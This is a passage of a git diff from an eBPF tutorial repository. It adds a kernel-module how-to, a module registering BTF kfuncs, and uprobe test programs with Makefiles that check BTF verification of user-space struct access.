apt-get install linux-headers-$(uname -r) build-essential +``` + +### 2. Write the Kernel Module Code + +Here’s an example of a very basic Linux kernel module: + +```c +// hello.c: A simple Linux kernel module +#include // Macros for module initialization +#include // Core header for loading modules +#include // Kernel logging macros + +// Function executed when the module is loaded +static int __init hello_init(void) +{ + printk(KERN_INFO "Hello, world!\n"); + return 0; // Return 0 if successful +} + +// Function executed when the module is removed +static void __exit hello_exit(void) +{ + printk(KERN_INFO "Goodbye, world!\n"); +} + +// Macros to define the module’s init and exit points +module_init(hello_init); +module_exit(hello_exit); + +MODULE_LICENSE("GPL"); // License type (GPL) +MODULE_AUTHOR("Your Name"); // Module author +MODULE_DESCRIPTION("A simple module"); // Module description +MODULE_VERSION("1.0"); // Module version +``` + +### 3. Create a Makefile + +To compile the kernel module, you’ll need a `Makefile`. Here's a simple one: + +```makefile +obj-m += hello.o # hello.o is the target + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +``` + +### 4. Compile the Module + +Run the following command in the directory where your `hello.c` and `Makefile` are located: + +```bash +make +``` + +This will generate a file called `hello.ko`, which is the compiled kernel module. + +### 5. Load the Module + +To insert the module into the kernel, use `insmod`: + +```bash +sudo insmod hello.ko +``` + +### 6. Check the Logs + +To see the output from the `printk` statements, use the `dmesg` command: + +```bash +dmesg | tail +``` + +You should see something like: + +```txt +[ 1234.5678] Hello, world! +``` + +### 7. Remove the Module + +To unload the module, use `rmmod`: + +```bash +sudo rmmod hello +``` + +Again, check the logs using `dmesg`: + +```bash +sudo dmesg | tail +``` + +You should see: + +```txt +[ 1234.9876] Goodbye, world! +``` + +### 8. Clean Up + +To clean up the build files, run: + +```bash +make clean +``` + +### Notes + +- **License**: The `MODULE_LICENSE("GPL")` ensures the module is GPL-compliant, which allows it to use symbols (functions) exported by the kernel. +- **Debugging**: Use `printk` for logging within the module. It behaves similarly to `printf` but is designed for kernel space. +- **Module Parameters**: You can add parameters to modules using `module_param()` to pass arguments when the module is loaded. + +### Next Steps + +Once you are familiar with this basic example, you can explore: + +- Writing more advanced modules that interact with hardware or the filesystem. +- Using kernel-specific APIs like work queues, kthreads, or handling interrupts. +- Diving into eBPF or loadable kernel module techniques for debugging and tracing kernel events. diff --git a/src/38-btf-uprobe/test-verify/module/compact.h b/src/38-btf-uprobe/test-verify/module/compact.h new file mode 100644 index 00000000..5ff2115f --- /dev/null +++ b/src/38-btf-uprobe/test-verify/module/compact.h @@ -0,0 +1,11 @@ +// Compatible for lower kernel versions. No need in 6.11. +#ifndef BTF_SET8_KFUNCS +/* This flag implies BTF_SET8 holds kfunc(s) */ +#define BTF_SET8_KFUNCS (1 << 0) +#endif +#ifndef BTF_KFUNCS_START +#define BTF_KFUNCS_START(name) static struct btf_id_set8 __maybe_unused name = { .flags = BTF_SET8_KFUNCS }; +#endif +#ifndef BTF_KFUNCS_END +#define BTF_KFUNCS_END(name) +#endif diff --git a/src/38-btf-uprobe/test-verify/module/hello.c b/src/38-btf-uprobe/test-verify/module/hello.c new file mode 100644 index 00000000..0121ca54 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/module/hello.c @@ -0,0 +1,97 @@ +#include // Macros for module initialization +#include // Core header for loading modules +#include // Kernel logging macros +#include +#include +#include + +__bpf_kfunc struct data *my_alloc_data(void); +__bpf_kfunc void my_free_data(struct data *d); + +/* Define a kfunc function */ +__bpf_kfunc_start_defs(); + +/*Auto generated code start*/ +/*This type definition can be get from the BTF information of the userspace program*/ +struct deep_memory_block +{ + int a; + char b[10]; +}; + +struct inner_memory_block +{ + int a; + char b[10]; + struct deep_memory_block *deep; +}; + +struct data +{ + int a; + int b; + int c; + int d; + // represent a pointer to a memory block + struct inner_memory_block *inner; +}; + +__bpf_kfunc struct data *my_alloc_data(void) +{ + // here we only use it for verification + return NULL; +} + +__bpf_kfunc void my_free_data(struct data *d) +{ + // here we only use it for verification + return; +} +/*Auto generated code end*/ + +__bpf_kfunc_end_defs(); + +BTF_KFUNCS_START(bpf_kfunc_example_ids_set) +BTF_ID_FLAGS(func, my_alloc_data, KF_ACQUIRE | KF_RET_NULL) +BTF_ID_FLAGS(func, my_free_data, KF_RELEASE) +BTF_KFUNCS_END(bpf_kfunc_example_ids_set) + +// Register the kfunc ID set +static const struct btf_kfunc_id_set bpf_kfunc_example_set = { + .owner = THIS_MODULE, + .set = &bpf_kfunc_example_ids_set, +}; + +// Function executed when the module is loaded +static int __init hello_init(void) +{ + int ret; + + printk(KERN_INFO "Hello, world!\n"); + // Register the BTF kfunc ID set + ret = register_btf_kfunc_id_set(BPF_PROG_TYPE_KPROBE, &bpf_kfunc_example_set); + if (ret) + { + pr_err("bpf_kfunc_example: Failed to register BTF kfunc ID set\n"); + return ret; + } + printk(KERN_INFO "bpf_kfunc_example: Module loaded successfully\n"); + return 0; // Return 0 if successful +} + +// Function executed when the module is removed +static void __exit hello_exit(void) +{ + // Unregister the BTF kfunc ID set + // unregister_btf_kfunc_id_set(BPF_PROG_TYPE_UNSPEC, &bpf_kfunc_example_set); + printk(KERN_INFO "Goodbye, world!\n"); +} + +// Macros to define the module’s init and exit points +module_init(hello_init); +module_exit(hello_exit); + +MODULE_LICENSE("GPL"); // License type (GPL) +MODULE_AUTHOR("Your Name"); // Module author +MODULE_DESCRIPTION("A simple module"); // Module description +MODULE_VERSION("1.0"); // Module version diff --git a/src/38-btf-uprobe/test-verify/verify-failed-no-btf/Makefile b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/Makefile new file mode 100644 index 00000000..9fec032f --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/Makefile @@ -0,0 +1,142 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../../../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../../third_party/libbpf/include/ -I../../../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = uprobe uprobe_failed # minimal minimal_legacy kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) merge-btf + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +merge-btf: merge-btf.c + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) merge-btf.c $(LIBBPF_OBJ) $(INCLUDES) $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/38-btf-uprobe/test-verify/verify-failed-no-btf/merge-btf.c b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/merge-btf.c new file mode 100644 index 00000000..5bb83ea9 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/merge-btf.c @@ -0,0 +1,63 @@ +#include +#include +#include +#include +#include + +int main(int argc, char **argv) +{ + char *btf_base_path = argv[1]; + char *btf_src_path = argv[2]; + char *btf_dst_path = argv[3]; + struct btf *btf_src, *btf_base; + int err; + unsigned int size; + const void* btf_data; + FILE *fp; + + + if (argc != 4) + { + fprintf(stderr, "Usage: %s \n", argv[0]); + fprintf(stderr, "Used for merge btf info"); + return 1; + } + + btf_base = btf__parse(btf_base_path, NULL); + if (!btf_base) + { + fprintf(stderr, "Failed to parse BTF object '%s': %s\n", btf_base_path, strerror(errno)); + return 1; + } + + btf_src = btf__parse(btf_src_path, NULL); + if (!btf_src) + { + fprintf(stderr, "Failed to parse BTF object '%s': %s\n", btf_src_path, strerror(errno)); + return 1; + } + + err = btf__add_btf(btf_base, btf_src); + if (err < 0) + { + fprintf(stderr, "Failed to add BTF object '%s': %s\n", btf_src_path, strerror(errno)); + return 1; + } + + btf_data = btf__raw_data(btf_base, &size); + if (!btf_data) + { + fprintf(stderr, "Failed to get raw data of BTF object '%s': %s\n", btf_base_path, strerror(errno)); + return 1; + } + fp = fopen(btf_dst_path, "w"); + if (!fp) + { + fprintf(stderr, "Failed to open BTF object '%s': %s\n", btf_dst_path, strerror(errno)); + return 1; + } + fwrite(btf_data, size, 1, fp); + fclose(fp); + + return 0; +} \ No newline at end of file diff --git a/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe.bpf.c b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe.bpf.c new file mode 100644 index 00000000..97c9f2c2 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe.bpf.c @@ -0,0 +1,32 @@ +#define BPF_NO_GLOBAL_DATA +// #define BPF_NO_PRESERVE_ACCESS_INDEX +#include +#include +#include + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) +#endif + +struct data { + int a; + int c; + int d; +}; + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute pop +#endif + + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int a = 0, c = 0; + bpf_probe_read_user(&a, sizeof(a), &d->a); + bpf_probe_read_user(&c, sizeof(c), &d->c); + bpf_printk("add_test(&d) %d + %d = %d\n", a, c, a + c); + return a + c; +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; diff --git a/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe.c b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe.c new file mode 100644 index 00000000..a3a0d3d9 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe.c @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* Copyright (c) 2020 Facebook */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "uprobe.skel.h" + +#define warn(...) fprintf(stderr, __VA_ARGS__) + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, + va_list args) +{ + return vfprintf(stderr, format, args); +} + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +int main(int argc, char **argv) +{ + struct uprobe_bpf *skel; + int err; + LIBBPF_OPTS(bpf_object_open_opts , opts, + ); + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); + if (argc != 3 && argc != 2) { + fprintf(stderr, "Usage: %s []\n", argv[0]); + return 1; + } + if (argc == 3) + opts.btf_custom_path = argv[2]; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = uprobe_bpf__open_opts(&opts); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = uprobe_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + uprobe_opts.func_name = "add_test"; + skel->links.add_test = bpf_program__attach_uprobe_opts( + skel->progs.add_test, -1 /* self pid */, argv[1] /* binary path */, + 0 /* offset for function */, &uprobe_opts /* opts */); + if (!skel->links.add_test) { + err = -errno; + fprintf(stderr, "Failed to attach uprobe: %d\n", err); + goto cleanup; + } + printf("Successfully started! Press Ctrl+C to stop.\n"); + fflush(stdout); + while (!exiting) { + sleep(1); + } +cleanup: + /* Clean up */ + uprobe_bpf__destroy(skel); + + return err < 0 ? -err : 0; +} diff --git a/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe_failed.bpf.c b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe_failed.bpf.c new file mode 100644 index 00000000..fa423787 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe_failed.bpf.c @@ -0,0 +1,32 @@ +#define BPF_NO_GLOBAL_DATA +// #define BPF_NO_PRESERVE_ACCESS_INDEX +#include +#include +#include + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) +#endif + +struct data { + int a; + int e; + int d; +}; + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute pop +#endif + + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int a = 0, e = 0; + bpf_probe_read_user(&a, sizeof(a), &d->a); + bpf_probe_read_user(&e, sizeof(e), &d->e); + bpf_printk("add_test(&d) %d + %d = %d\n", a, e, a + e); + return a + e; +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; diff --git a/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe_failed.c b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe_failed.c new file mode 100644 index 00000000..424a6035 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-failed-no-btf/uprobe_failed.c @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* Copyright (c) 2020 Facebook */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "uprobe_failed.skel.h" + +#define warn(...) fprintf(stderr, __VA_ARGS__) + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, + va_list args) +{ + return vfprintf(stderr, format, args); +} + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +int main(int argc, char **argv) +{ + struct uprobe_failed_bpf *skel; + int err; + LIBBPF_OPTS(bpf_object_open_opts , opts, + ); + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); + if (argc != 3 && argc != 2) { + fprintf(stderr, "Usage: %s []\n", argv[0]); + return 1; + } + if (argc == 3) + opts.btf_custom_path = argv[2]; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = uprobe_failed_bpf__open_opts(&opts); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = uprobe_failed_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + uprobe_opts.func_name = "add_test"; + skel->links.add_test = bpf_program__attach_uprobe_opts( + skel->progs.add_test, -1 /* self pid */, argv[1] /* binary path */, + 0 /* offset for function */, &uprobe_opts /* opts */); + if (!skel->links.add_test) { + err = -errno; + fprintf(stderr, "Failed to attach uprobe: %d\n", err); + goto cleanup; + } + printf("Successfully started! Press Ctrl+C to stop.\n"); + fflush(stdout); + while (!exiting) { + sleep(1); + } +cleanup: + /* Clean up */ + uprobe_failed_bpf__destroy(skel); + + return err < 0 ? -err : 0; +} diff --git a/src/38-btf-uprobe/test-verify/verify-memory-access/Makefile b/src/38-btf-uprobe/test-verify/verify-memory-access/Makefile new file mode 100644 index 00000000..9fec032f --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-memory-access/Makefile @@ -0,0 +1,142 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../../../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../../third_party/libbpf/include/ -I../../../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = uprobe uprobe_failed # minimal minimal_legacy kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) merge-btf + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +merge-btf: merge-btf.c + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) merge-btf.c $(LIBBPF_OBJ) $(INCLUDES) $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/38-btf-uprobe/test-verify/verify-memory-access/merge-btf.c b/src/38-btf-uprobe/test-verify/verify-memory-access/merge-btf.c new file mode 100644 index 00000000..5bb83ea9 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-memory-access/merge-btf.c @@ -0,0 +1,63 @@ +#include +#include +#include +#include +#include + +int main(int argc, char **argv) +{ + char *btf_base_path = argv[1]; + char *btf_src_path = argv[2]; + char *btf_dst_path = argv[3]; + struct btf *btf_src, *btf_base; + int err; + unsigned int size; + const void* btf_data; + FILE *fp; + + + if (argc != 4) + { + fprintf(stderr, "Usage: %s \n", argv[0]); + fprintf(stderr, "Used for merge btf info"); + return 1; + } + + btf_base = btf__parse(btf_base_path, NULL); + if (!btf_base) + { + fprintf(stderr, "Failed to parse BTF object '%s': %s\n", btf_base_path, strerror(errno)); + return 1; + } + + btf_src = btf__parse(btf_src_path, NULL); + if (!btf_src) + { + fprintf(stderr, "Failed to parse BTF object '%s': %s\n", btf_src_path, strerror(errno)); + return 1; + } + + err = btf__add_btf(btf_base, btf_src); + if (err < 0) + { + fprintf(stderr, "Failed to add BTF object '%s': %s\n", btf_src_path, strerror(errno)); + return 1; + } + + btf_data = btf__raw_data(btf_base, &size); + if (!btf_data) + { + fprintf(stderr, "Failed to get raw data of BTF object '%s': %s\n", btf_base_path, strerror(errno)); + return 1; + } + fp = fopen(btf_dst_path, "w"); + if (!fp) + { + fprintf(stderr, "Failed to open BTF object '%s': %s\n", btf_dst_path, strerror(errno)); + return 1; + } + fwrite(btf_data, size, 1, fp); + fclose(fp); + + return 0; +} \ No newline at end of file diff --git a/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe.bpf.c b/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe.bpf.c new file mode 100644 index 00000000..13b8a46e --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe.bpf.c @@ -0,0 +1,47 @@ +#define BPF_NO_GLOBAL_DATA +// #define BPF_NO_PRESERVE_ACCESS_INDEX +#include +#include +#include +#include + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) +#endif + + +struct deep_memory_block { + int a; + char b[10]; +}; + +struct inner_memory_block { + int a; + char b[10]; + struct deep_memory_block *deep; +}; + +struct data { + int a; + int b; + int c; + int d; + // represent a pointer to a memory block + struct inner_memory_block *inner; +}; + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute pop +#endif + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int inner_deep_a = BPF_CORE_READ_USER(d, inner, deep, a); + bpf_printk("inner_deep_a = %d\n", inner_deep_a); + char* inner_deep_b = BPF_CORE_READ_USER(d, inner, deep, b); + bpf_printk("inner_deep_b[9] = %c\n", inner_deep_b[9]); + return 0; +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; diff --git a/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe.c b/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe.c new file mode 100644 index 00000000..a3a0d3d9 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe.c @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* Copyright (c) 2020 Facebook */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "uprobe.skel.h" + +#define warn(...) fprintf(stderr, __VA_ARGS__) + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, + va_list args) +{ + return vfprintf(stderr, format, args); +} + 